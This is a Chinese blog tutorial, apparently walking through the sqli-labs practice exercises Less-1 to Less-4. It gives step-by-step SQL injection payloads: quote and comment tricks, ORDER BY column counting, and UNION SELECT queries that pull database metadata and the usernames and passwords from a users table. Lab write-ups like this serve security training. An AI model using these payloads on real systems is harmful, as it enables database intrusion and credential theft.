本次教程来自YanXia,转载请注明作者信息,博客地址http://www.535yx.cn,感谢

第一关

在id=1后加上'报错回显

http://zcxy.535yx.cn/sqli/Less-1/?id=1'

71416-gnn2a3l76x8.png

发现后面句子已闭合,所以这时候我们需要注释掉后面的语句,我们可以利用#或--+使语句正常执行

http://zcxy.535yx.cn/sqli/Less-1/?id=1%27--+

49706-gtfz6ncu7ze.png

接下来我们利用order by进行查字段数

http://zcxy.535yx.cn/sqli/Less-1/?id=1%27%20order%20by%204%20--+

经查询order by 3 正确 4错误。所以可知这里字段数为3.
接下来我们利用union进行联合查询

http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,2,3 --+

67045-0grl523w9ycv.png

这里我们就知道了我们可以在2,3处插入语句来获取我们想获得的信息

数据库版本:version()           
数据库名字:database()         
数据库用户:user()                  
操作系统: @@version_compile_os 
数据库路径: @@datadir

如:

http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,database(),3 --+

59147-jlecww19gxt.png

这里就获得了我们数据库用户名字 "1111"。

接下来我们尝试爆数据库为111的表

http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='1111'-- +

46384-58fzdl0ixnr.png

以上就是我们爆出的数据库表名
接着我们尝试爆users下的列名
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- +

得到user下所有的表
18903-bhbkzno821.png

接着我们尝试查询列名为username和password旗下的值

http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,username,password from users where id=2--+

34670-gd0ocwa310q.png

那么hxd们可能有疑虑。如果要猜测的列名不止俩个,想一次性猜解该怎么办呢?
我悄悄告诉你们另外一种写法

http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users--+

12667-p0mje9z6poi.png
这里的0x3a就是ascii中的 ':' 我们可以利用他来间隔列名下的值。acsii的表值可以去ascii.911cha.com查看

第二关

开头还是老样子

http://zcxy.535yx.cn/sqli/Less-2/?id=1'

发现报错信息near '' LIMIT 0,1' at line 1 多了一个' 这就说明这关不需要加'
那么我只需要把'删除且后面无需添加--+即可剩下操作与第一关相同。

第三关

?id=1'发现报错提示 near ''1'') LIMIT 0,1' at line 1 可知这里我们需要补上一个)且在语句结尾需要注释掉后面的LIMIT 0,1
所以可构造?id=1') 剩下操作与第一关无异

第四关

这次在我们利用'测试是否存在注入的时候,发现页面返回正常,经判断后发现可以用 " 报错

near '"1"") LIMIT 0,1' at line 1

所以这里我们只需要?id=1")即可绕过且结尾需加上--+

发表评论